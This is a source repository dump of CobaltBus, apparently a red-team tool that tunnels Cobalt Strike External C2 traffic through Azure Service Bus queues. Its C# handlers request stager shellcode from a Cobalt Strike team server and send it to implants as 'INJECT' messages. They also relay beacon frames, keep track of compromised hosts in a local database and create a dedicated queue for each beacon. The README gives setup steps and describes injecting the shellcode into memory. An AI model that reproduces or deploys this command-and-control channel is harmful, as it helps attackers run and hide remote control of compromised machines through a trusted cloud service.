| { 79 | while (true) 80 | { 81 | //RunningOtherCommand 82 | if (namePipeHandler.Connected && !namePipeHandler.RunningOtherCommand) 83 | { 84 | var byteArray = Convert.FromBase64String("AA=="); 85 | namePipeHandler.SendFrame(byteArray); 86 | var readBuffer = namePipeHandler.ReadFrame(); 87 | 88 | } 89 | else 90 | { 91 | Console.WriteLine("[+] Command running, skipping fake"); 92 | } 93 | } 94 | } 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /Beacon/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Beacon")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Beacon")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("c309cdcc-0548-4b3b-b5b2-bda77a3d079c")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Beacon/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /CobaltBus.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.0.32014.148 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "CobaltBus", "CobaltBus\CobaltBus.csproj", "{A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Beacon", "Beacon\Beacon.csproj", "{C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Debug|x64 = Debug|x64 14 | Release|Any CPU = Release|Any CPU 15 | Release|x64 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|x64.ActiveCfg = Debug|Any CPU 21 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|x64.Build.0 = Debug|Any CPU 22 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|x64.ActiveCfg = Release|Any CPU 25 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|x64.Build.0 = Release|Any CPU 26 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|x64.ActiveCfg = Debug|x64 29 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|x64.Build.0 = Debug|x64 30 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|x64.ActiveCfg = Release|x64 33 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|x64.Build.0 = Release|x64 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {87831BD8-3017-44AE-8074-6ACCF5A290FE} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /CobaltBus/CobaltBus.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | netcoreapp3.1 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /CobaltBus/Handlers/CobaltHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using System.Threading.Tasks; 7 | using CobaltBus.Models; 8 | using System.Threading; 9 | using System.Linq; 10 | using Newtonsoft.Json; 11 | 12 | namespace CobaltBus.Handlers 13 | { 14 | public class CobaltHandler 15 | { 16 | 17 | private const int MaxBufferSize = 1024 * 1024; 18 | private readonly IPEndPoint _endpoint; 19 | 20 | public LiteDbHandler LiteDbHandler { get; set; } 21 | public CobaltHandler(string ipAddr, string port, LiteDbHandler liteDbHandler, string beaconId) 22 | { 23 | var server = BitConverter.ToUInt32( 24 | IPAddress.Parse(ipAddr).GetAddressBytes(), 0); 25 | _endpoint = new IPEndPoint(server, Convert.ToInt32(port)); 26 | 27 | LiteDbHandler = liteDbHandler; 28 | BeaconId = beaconId; 29 | } 30 | 31 | public byte[] StagerByteArray { get; set; } 32 | public Socket Socket { get; private set; } 33 | public string BeaconId { get; set; } 34 | 35 | public bool StagerBusy { get; set; } 36 | public bool Connected => Socket?.Connected ?? false; 37 | 38 | 39 | public bool Connect() 40 | { 41 | Socket = new Socket(_endpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp); 42 | Socket.Connect(_endpoint); 43 | 44 | if (!Socket.Connected) return false; 45 | 46 | // Configure other socket options if needed 47 | Socket.ReceiveTimeout = 10000; 48 | 49 | return Socket.Connected; 50 | } 51 | 52 | 53 | 54 | public void Close() 55 | { 56 | Socket.Close(); 57 | } 58 | 59 | 60 | public void Dispose() 61 | { 62 | Socket.Close(); 63 | } 64 | 65 | public byte[] ReadFrame() 66 | { 67 | try 68 | { 69 | var sizeBytes = new byte[4]; 70 | Socket.Receive(sizeBytes); 71 | var size = BitConverter.ToInt32(sizeBytes, 0) > MaxBufferSize 72 | ? MaxBufferSize 73 | : BitConverter.ToInt32(sizeBytes, 0); 74 | 75 | var total = 0; 76 | var bytesReceived = new byte[size]; 77 | while (total < size) 78 | { 79 | var bytes = Socket.Receive(bytesReceived, total, size - total, SocketFlags.None); 80 | total += bytes; 81 | } 82 | if (size > 1 && size < 1024) 83 | Console.WriteLine($"[+] Read frame: {Convert.ToBase64String(bytesReceived)}"); 84 | 85 | return bytesReceived; 86 | } 87 | catch (Exception ex) 88 | { 89 | Console.WriteLine($"Exception while reading socket: {ex.Message}"); 90 | return new byte[] { 0x00 }; 91 | } 92 | } 93 | 94 | public BeaconMsg ProcessMessage(BeaconMsg beaconMsg) 95 | { 96 | //Draft a response msg 97 | BeaconMsg responseMsg = new BeaconMsg() 98 | { 99 | From = beaconMsg.To, 100 | To = beaconMsg.From, 101 | Queue = beaconMsg.Queue 102 | 103 | }; 104 | 105 | if (!string.IsNullOrEmpty(beaconMsg.Command)) 106 | { 107 | 108 | 109 | // Console.WriteLine(JsonConvert.SerializeObject(beaconMsg, Formatting.Indented)); 110 | //This hold the C2 communcation protocol logic 111 | 112 | //Check if this beaconId is already in the database 113 | string beaconId = beaconMsg.From; 114 | 115 | if (LiteDbHandler.QueryBeacons().Exists(x => x.BeaconId.Equals(beaconId))) 116 | { 117 | 118 | var beacon = LiteDbHandler.QueryBeacons().Where(x => x.BeaconId.Equals(beaconId)).FirstOrDefault(); 119 | //If the beaconId is in the database, forward traffic normally 120 | var msgPayload = beaconMsg.Payload; 121 | 122 | Console.WriteLine($"[+] Writing to Cobalt => {msgPayload.Substring(0, (msgPayload.Length > 100) ? 100 : msgPayload.Length)}"); 123 | 124 | 125 | var buffer = Convert.FromBase64String(msgPayload); 126 | 127 | 128 | SendFrame(buffer); 129 | 130 | 131 | var readBuffer = ReadFrame(); 132 | if (readBuffer.Length > 0) 133 | { 134 | //Send that data down to the client 135 | responseMsg.Command = "COM"; 136 | responseMsg.Payload = Convert.ToBase64String(readBuffer); 137 | 138 | } 139 | beacon.Active = true; 140 | LiteDbHandler.UpdateBeacon(beacon); 141 | } 142 | else if (beaconMsg.Command.Equals("GETSTAGER")) 143 | { 144 | 145 | Console.WriteLine("[+] Got stager request from beacon " + beaconId); 146 | 147 | //If the beaconId is NOT in the database, we need to give it a stager, as set the ID 148 | var pipeName = beaconMsg.Payload.Split(":")[0]; 149 | var is64Bit = beaconMsg.Payload.Split(":")[1]; 150 | 151 | Console.WriteLine("[+] Stager pipename " + pipeName); 152 | 153 | if (StagerByteArray == null) 154 | StagerByteArray = GetStager(pipeName, (is64Bit.Equals("1") ? true : false)); 155 | 156 | 157 | Console.WriteLine($"[+] Got stager of size {StagerByteArray.Length}"); 158 | 159 | responseMsg.Command = "INJECT"; 160 | responseMsg.Payload = Convert.ToBase64String(StagerByteArray); 161 | 162 | LiteDbHandler.WriteBeacon(new Beacon() { BeaconId = beaconId, Queue = beaconMsg.Queue }); 163 | } 164 | else if (beaconMsg.Command.Equals("INITIALIZE")) 165 | { 166 | //We want to create a new servicebus queue to repond on 167 | Console.WriteLine("[+] Got initialize request from beacon " + beaconId); 168 | 169 | var newQueName = Guid.NewGuid().ToString().Replace("-", "").ToLower(); 170 | 171 | Console.WriteLine("[+] Generated a dedicated servicebus Queue " + newQueName); 172 | 173 | responseMsg.Command = "CHANNEL"; 174 | responseMsg.Payload = newQueName; 175 | } 176 | 177 | 178 | 179 | } 180 | 181 | return responseMsg; 182 | } 183 | 184 | public void SendFrame(byte[] buffer, bool bypass = false) 185 | { 186 | //Wait until the stager is done 187 | if (!bypass) 188 | while (StagerBusy) 189 | { 190 | 191 | } 192 | 193 | if (buffer.Length > 2 && buffer.Length < 1024) 194 | Console.WriteLine($"[+] Sending frame: {Convert.ToBase64String(buffer)}"); 195 | 196 | var lenBytes = BitConverter.GetBytes(buffer.Length); 197 | Socket.Send(lenBytes, 4, 0); 198 | Socket.Send(buffer); 199 | } 200 | 201 | 202 | public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100) 203 | { 204 | StagerBusy = true; 205 | Console.WriteLine("[+] Getting stager from Cobalt"); 206 | SendFrame(Encoding.ASCII.GetBytes(is64Bit ? "arch=x64" : "arch=x86"), true); 207 | SendFrame(Encoding.ASCII.GetBytes("pipename=" + pipeName), true); 208 | SendFrame(Encoding.ASCII.GetBytes("block=" + taskWaitTime), true); 209 | SendFrame(Encoding.ASCII.GetBytes("go"), true); 210 | StagerBusy = false; 211 | return ReadFrame(); 212 | } 213 | 214 | } 215 | } 216 | -------------------------------------------------------------------------------- /CobaltBus/Handlers/LiteDbHandler.cs: -------------------------------------------------------------------------------- 1 | using CobaltBus.Models; 2 | using LiteDB; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading; 8 | 9 | namespace CobaltBus.Handlers 10 | { 11 | public class LiteDbHandler 12 | { 13 | 14 | public string DbName { get; set; } 15 | 16 | public LiteDatabase LiteDatabase { get; set; } 17 | public LiteDbHandler(string dbName) 18 | { 19 | DbName = dbName; 20 | 21 | LiteDatabase = new LiteDatabase(new ConnectionString() { Filename = DbName }); 22 | } 23 | 24 | public void UpdateBeacon(Beacon beaconObject) 25 | { 26 | var collectionLink = LiteDatabase.GetCollection("beacons"); 27 | collectionLink.Update(beaconObject); 28 | LiteDatabase.Checkpoint(); 29 | 30 | } 31 | 32 | public void WriteBeacon(Beacon beaconObject) 33 | { 34 | var collectionLink = LiteDatabase.GetCollection("beacons"); 35 | collectionLink.EnsureIndex(x => x.Id, true); 36 | collectionLink.Insert(beaconObject); 37 | LiteDatabase.Checkpoint(); 38 | 39 | } 40 | 41 | public void WriteBeaconMsg(BeaconMsg beaconObject) 42 | { 43 | 44 | var collectionLink = LiteDatabase.GetCollection("beaconmsg"); 45 | collectionLink.Insert(beaconObject); 46 | 47 | } 48 | 49 | public bool DeleteBeaconMsg(BeaconMsg BeaconMsg) 50 | { 51 | 52 | var orders = LiteDatabase.GetCollection("beaconmsg"); 53 | if (orders.Delete(BeaconMsg.Id)) 54 | { 55 | 56 | return true; 57 | } 58 | return false; 59 | } 60 | 61 | 62 | public List QueryBeaconMsg() 63 | { 64 | try 65 | { 66 | Thread.Sleep(2000); 67 | var orders = LiteDatabase.GetCollection("beaconmsg"); 68 | return orders.FindAll().ToList(); 69 | } 70 | catch (Exception ex) 71 | { 72 | //File is locked, ignore 73 | if (ex.Message.StartsWith("Invalid Collection on 0")) 74 | return new List() { }; 75 | else 76 | throw; 77 | } 78 | } 79 | 80 | 81 | public Beacon QueryBeacon(string beaconId) 82 | { 83 | var orders = LiteDatabase.GetCollection("beacons"); 84 | return orders.Find(beacon => beacon.BeaconId.Equals(beaconId))?.FirstOrDefault(); 85 | } 86 | 87 | public List QueryBeacons() 88 | { 89 | var orders = LiteDatabase.GetCollection("beacons"); 90 | return orders.FindAll().ToList(); 91 | } 92 | 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /CobaltBus/Handlers/ServiceBusHandler.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Azure.ServiceBus.Management; 2 | using Azure.Messaging.ServiceBus; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using Newtonsoft.Json; 9 | using CobaltBus.Models; 10 | using Azure.Messaging.ServiceBus.Administration; 11 | using System.Threading; 12 | 13 | namespace CobaltBus.Handlers 14 | { 15 | public class ServiceBusHandler 16 | { 17 | public static string InboudboundQueueName = "C2"; 18 | public static string OutboundQueueName = "BE"; 19 | 20 | public string ConnectionString { get; set; } 21 | public string QueueName { get; set; } 22 | public string BeaconId { get; set; } 23 | public LiteDbHandler LiteDbHandler { get; set; } 24 | 25 | public ServiceBusHandler(string connectionString, string queueName, string beaconId, LiteDbHandler liteDbHandler) 26 | { 27 | ConnectionString = connectionString; 28 | // CobaltHandler = cobaltHandler; 29 | QueueName = queueName; 30 | BeaconId = beaconId; 31 | LiteDbHandler = liteDbHandler; 32 | } 33 | 34 | // handle received messages 35 | public async Task MessageHandler(ProcessMessageEventArgs args) 36 | { 37 | var decom = SevenZip.SevenZipExtractor.ExtractBytes(args.Message.Body.ToArray()); 38 | 39 | var beaconMsg = JsonConvert.DeserializeObject(Encoding.UTF8.GetString(decom)); 40 | 41 | // var beaconMsg = JsonConvert.DeserializeObject(args.Message.Body.ToString()); 42 | 43 | if (beaconMsg != null) 44 | { 45 | if (beaconMsg.To.Equals(BeaconId)) 46 | {// var responseMsg = CobaltHandler.ProcessMessage(beaconMsg); 47 | 48 | await args.CompleteMessageAsync(args.Message); 49 | 50 | LiteDbHandler.WriteBeaconMsg(beaconMsg); 51 | 52 | 53 | } 54 | 55 | } 56 | } 57 | 58 | // handle any errors when receiving messages 59 | public Task ErrorHandler(ProcessErrorEventArgs args) 60 | { 61 | Console.WriteLine(args.Exception.ToString()); 62 | return Task.CompletedTask; 63 | } 64 | 65 | public async Task ReceiveMessagesAsync(string queueName) 66 | { 67 | ServiceBusClient client = new ServiceBusClient(ConnectionString); 68 | 69 | // create a processor that we can use to process the messages 70 | ServiceBusProcessor processor = client.CreateProcessor(queueName + InboudboundQueueName, new ServiceBusProcessorOptions()); 71 | 72 | // add handler to process messages 73 | processor.ProcessMessageAsync += MessageHandler; 74 | 75 | // add handler to process any errors 76 | processor.ProcessErrorAsync += ErrorHandler; 77 | 78 | // start processing 79 | processor.StartProcessingAsync(); 80 | 81 | //await processor.StopProcessingAsync(); 82 | 83 | } 84 | 85 | 86 | public async Task SendMessageAsync(string queueName, string messageData) 87 | { 88 | // create a Service Bus client 89 | ServiceBusClient client = new ServiceBusClient(ConnectionString); 90 | 91 | // create a sender for the queue 92 | ServiceBusSender sender = client.CreateSender(queueName + OutboundQueueName); 93 | 94 | //Compress Data 95 | var compressed = SevenZip.SevenZipCompressor.CompressBytes(Encoding.UTF8.GetBytes(messageData)); 96 | 97 | // create a message that we can send 98 | ServiceBusMessage message = new ServiceBusMessage(compressed); 99 | 100 | 101 | 102 | 103 | // send the message 104 | await sender.SendMessageAsync(message); 105 | 106 | 107 | } 108 | 109 | public async Task> ListQueues() 110 | { 111 | var managementClient = new ManagementClient(ConnectionString); 112 | 113 | var allQueues = await managementClient.GetQueuesAsync(); 114 | 115 | return allQueues.Select(x => x.Path).ToList(); 116 | 117 | 118 | } 119 | 120 | public async Task CreateQueue(string queueName) 121 | { 122 | try 123 | { 124 | var managementClient = new ManagementClient(ConnectionString); 125 | 126 | var options = new CreateQueueOptions(queueName) 127 | { 128 | LockDuration = TimeSpan.FromSeconds(5), 129 | MaxDeliveryCount = 1000 130 | 131 | }; 132 | 133 | await managementClient.CreateQueueAsync(queueName); 134 | 135 | return true; 136 | } 137 | catch (Exception) 138 | { 139 | 140 | return false; 141 | } 142 | } 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /CobaltBus/Models/Beacon.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace CobaltBus.Models 6 | { 7 | public class Beacon 8 | { 9 | 10 | public int Id { get; set; } 11 | public string BeaconId { get; set; } 12 | public string Queue { get; set; } 13 | public bool Active { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /CobaltBus/Models/BeaconMsg.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace CobaltBus.Models 6 | { 7 | public class BeaconMsg 8 | { 9 | public int Id { get; set; } 10 | public string From { get; set; } 11 | public string To { get; set; } 12 | public string Command { get; set; } 13 | public string Queue { get; set; } 14 | public string Payload { get; set; } 15 | } 16 | } 17 | 18 | -------------------------------------------------------------------------------- /CobaltBus/Program.cs: -------------------------------------------------------------------------------- 1 | using CobaltBus.Handlers; 2 | using CobaltBus.Models; 3 | using Microsoft.ServiceBus; 4 | using Newtonsoft.Json; 5 | using System; 6 | using System.Collections.Generic; 7 | using System.IO; 8 | using System.Linq; 9 | using System.Threading; 10 | using System.Threading.Tasks; 11 | 12 | namespace CobaltBus 13 | { 14 | class Program 15 | { 16 | public static string inboudboundQueueName = "C2"; 17 | public static string outboundQueueName = "BE"; 18 | public static string baseQueueName = "CobaltBus-"; 19 | public static string ExternalC2Port = "4444"; 20 | public static string ExternalC2Ip = "127.0.0.1"; 21 | public static int ExtractId(byte[] frame) 22 | { 23 | using (var reader = new BinaryReader(new MemoryStream(frame))) 24 | return reader.ReadInt32(); 25 | } 26 | public static string connectionString = ""; 27 | 28 | static async Task Main(string[] args) 29 | { 30 | var interactive = true; 31 | ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https; 32 | 33 | var beaconid = "C2SERVER"; 34 | //Connent to the Cobalt ExternalC2 TCP socket 35 | 36 | var liteDbHandler = new LiteDbHandler("CobaltBus.db"); 37 | 38 | 39 | 40 | //Create a new serviceBusHandler that communicates with the CobaltHandler 41 | var serviceBusHandler = new ServiceBusHandler(connectionString, baseQueueName, beaconid, liteDbHandler); 42 | 43 | //get the Queues in the servicebus namespace 44 | var queues = await serviceBusHandler.ListQueues(); 45 | 46 | //We we don't have an OrchestrationQueue, create one 47 | if (!queues.Contains(baseQueueName + inboudboundQueueName) || !queues.Contains(baseQueueName + outboundQueueName)) 48 | { 49 | 50 | await serviceBusHandler.CreateQueue(baseQueueName + inboudboundQueueName); 51 | await serviceBusHandler.CreateQueue(baseQueueName + outboundQueueName); 52 | } 53 | 54 | Console.WriteLine("[+] Started ServiceBus listener"); 55 | serviceBusHandler.ReceiveMessagesAsync(baseQueueName); 56 | 57 | var cobaltHandlers = new List() { }; 58 | 59 | while (true) 60 | { 61 | var messages = liteDbHandler.QueryBeaconMsg().Where(x => !string.IsNullOrEmpty(x.Command)).ToArray(); 62 | var activeBeacons = liteDbHandler.QueryBeacons().Where(x => x.Active).ToArray(); 63 | if (messages.Count() == 0 && interactive) 64 | { 65 | //Let's keep talking to cobalt strike 66 | foreach (Beacon beacon in activeBeacons) 67 | { 68 | 69 | var cobaltHandler = cobaltHandlers.Where(x => x.BeaconId.Equals(beacon.BeaconId)).FirstOrDefault(); 70 | 71 | var buffer = Convert.FromBase64String("AA=="); 72 | cobaltHandler.SendFrame(buffer); 73 | 74 | 75 | var readBuffer = cobaltHandler.ReadFrame(); 76 | if (readBuffer.Length > 0) 77 | { 78 | BeaconMsg responseMsg = new BeaconMsg() 79 | { 80 | To = beacon.BeaconId, 81 | From = "C2SERVER", 82 | Queue = beacon.Queue 83 | }; 84 | 85 | //new data that we need to send 86 | //Send that data down to the client 87 | 88 | responseMsg.Command = "COM"; 89 | responseMsg.Payload = Convert.ToBase64String(readBuffer); 90 | 91 | // Console.WriteLine($"[+] {ExtractId(Convert.FromBase64String(responseMsg.Payload))}"); 92 | await serviceBusHandler.SendMessageAsync(responseMsg.Queue, JsonConvert.SerializeObject(responseMsg)); 93 | } 94 | } 95 | } 96 | 97 | 98 | 99 | foreach (var msg in messages) 100 | { 101 | CobaltHandler cobaltHandler = null; 102 | 103 | //Check if this beacon have an handler 104 | var lookupCobaltHandler = cobaltHandlers.Where(x => x.BeaconId.Equals(msg.From)).FirstOrDefault(); 105 | if (lookupCobaltHandler != null) 106 | { 107 | 108 | cobaltHandler = lookupCobaltHandler; 109 | } 110 | else if (cobaltHandler == null) 111 | { 112 | Console.WriteLine($"[+] Setting up an TeamServer for beacon {msg.From}"); 113 | //If not create a new one 114 | var cobaltHandlerTwo = new CobaltHandler(ExternalC2Ip, ExternalC2Port, liteDbHandler, msg.From); 115 | 116 | Console.WriteLine("[+] Connecting to TeamServer"); 117 | cobaltHandlerTwo.Connect(); 118 | 119 | 120 | cobaltHandlers.Add(cobaltHandlerTwo); 121 | 122 | cobaltHandler = cobaltHandlerTwo; 123 | } 124 | 125 | 126 | //Foreach msg, process it 127 | var responseMsg = cobaltHandler.ProcessMessage(msg); 128 | 129 | //If this is a message to create a channel / response to a init beacon 130 | if (responseMsg.Command.Equals("CHANNEL") && responseMsg.Queue.Equals(baseQueueName)) 131 | { 132 | Console.WriteLine($"[+] Creating {responseMsg.Payload}C2"); 133 | await serviceBusHandler.CreateQueue(responseMsg.Payload + "C2"); 134 | 135 | Console.WriteLine($"[+] Creating {responseMsg.Payload}BE"); 136 | await serviceBusHandler.CreateQueue(responseMsg.Payload + "BE"); 137 | 138 | var newServiceBusHandler = new ServiceBusHandler(connectionString, responseMsg.Payload, beaconid, liteDbHandler); 139 | //Start a response handler for that 140 | 141 | Console.WriteLine($"[+] Listening on {responseMsg.Payload}C2"); 142 | newServiceBusHandler.ReceiveMessagesAsync(responseMsg.Payload); 143 | 144 | 145 | 146 | } 147 | 148 | //If any other command, send it down the original queue 149 | if (!string.IsNullOrEmpty(responseMsg.Command)) 150 | { 151 | if (interactive) 152 | { 153 | 154 | await serviceBusHandler.SendMessageAsync(responseMsg.Queue, JsonConvert.SerializeObject(responseMsg)); 155 | } 156 | else 157 | { 158 | if (!responseMsg.Payload.Equals("AA==")) 159 | { 160 | // Console.WriteLine($"[+] {ExtractId(Convert.FromBase64String(responseMsg.Payload))}"); 161 | 162 | await serviceBusHandler.SendMessageAsync(responseMsg.Queue, JsonConvert.SerializeObject(responseMsg)); 163 | } 164 | } 165 | } 166 | liteDbHandler.DeleteBeaconMsg(msg); 167 | } 168 | } 169 | } 170 | } 171 | } 172 | 173 | -------------------------------------------------------------------------------- /FlowDiag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Flangvik/CobaltBus/d787262e2107c4f7de30cab5f652194fc3883266/FlowDiag.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CobaltBus 2 | Cobalt Strike External C2 Integration With Azure Servicebus, C2 traffic via Azure Servicebus 3 | 4 | ![FlowDiag](https://user-images.githubusercontent.com/23613997/155399921-36da9578-9f85-465d-a54e-a6e3e0502ca0.png) 5 | 6 | # Setup 7 | 8 | 1. Create an Azure Service Bus 9 | 2. Create a Shared access policy (Connection string) that can only Send and Listen 10 | 3. Edit the static connectionString variable in Beacon C# projects to match the "Primary Connection String" value for the Shared access policy created in step 2. 11 | 4. The same variables need to be updated for the CobaltBus project, but the "Primary Connection String" for the "RootManageSharedAccessKey" Shared access policy must be used. (Needs the "manage" permission) 12 | 5. Setup Cobalt and start en External C2 listener on port 4444, 127.0.0.1 (can be changed by editing the ExternalC2Port ExternalC2Ip vars in the C# project) 13 | 14 | # Demo Video 15 | 16 | [![Demo YouTube video](https://img.youtube.com/vi/yhgsYWskz4E/0.jpg)](https://www.youtube.com/watch?v=yhgsYWskz4E) 17 | 18 | # How does it work? 19 | 20 | Then CobaltBus DotNetCore binary that integrates with CobaltStrikes ExternalC2, will create a local SqliteDB in order to keep track of multiple beacons. The messages inbound to CobaltBus will be captured and written to the database. The database names "CobaltBus.db" and "CobaltBus-log.db" will be created in the directory CobaltBus.dll is running from. Once a Beacon binary runs, it will push an "INITIALIZE" message to the baseQueueName queue, with a randomly generated BeaconId and Pipename. The CobaltBus handler will then capture this, create and move into the two new queues based on the BeaconId sent, request stager shellcode from the CobaltStrike, and push it back down the new queue as an "INJECT" message. From here, the Beacon project injects the captured shellcode into memory and establishes a connection with the CobaltStrike beacon over the generated pipe name. When a command is issued from CobaltBus, it is pushed down the beacon respective queue and into the beacon pipe name. 21 | 22 | 23 | # Opsec considerations 24 | The current message flow has multiple flaws that would need to be addressed before I would consider using this for real-life operations. Consider this a dirty POC. If only there was a mouse and C2 expert that could make this safe to use.... 25 | 26 | # Credits 27 | Major credit to the work done by @ryHanson https://github.com/ryhanson/ExternalC2 28 | --------------------------------------------------------------------------------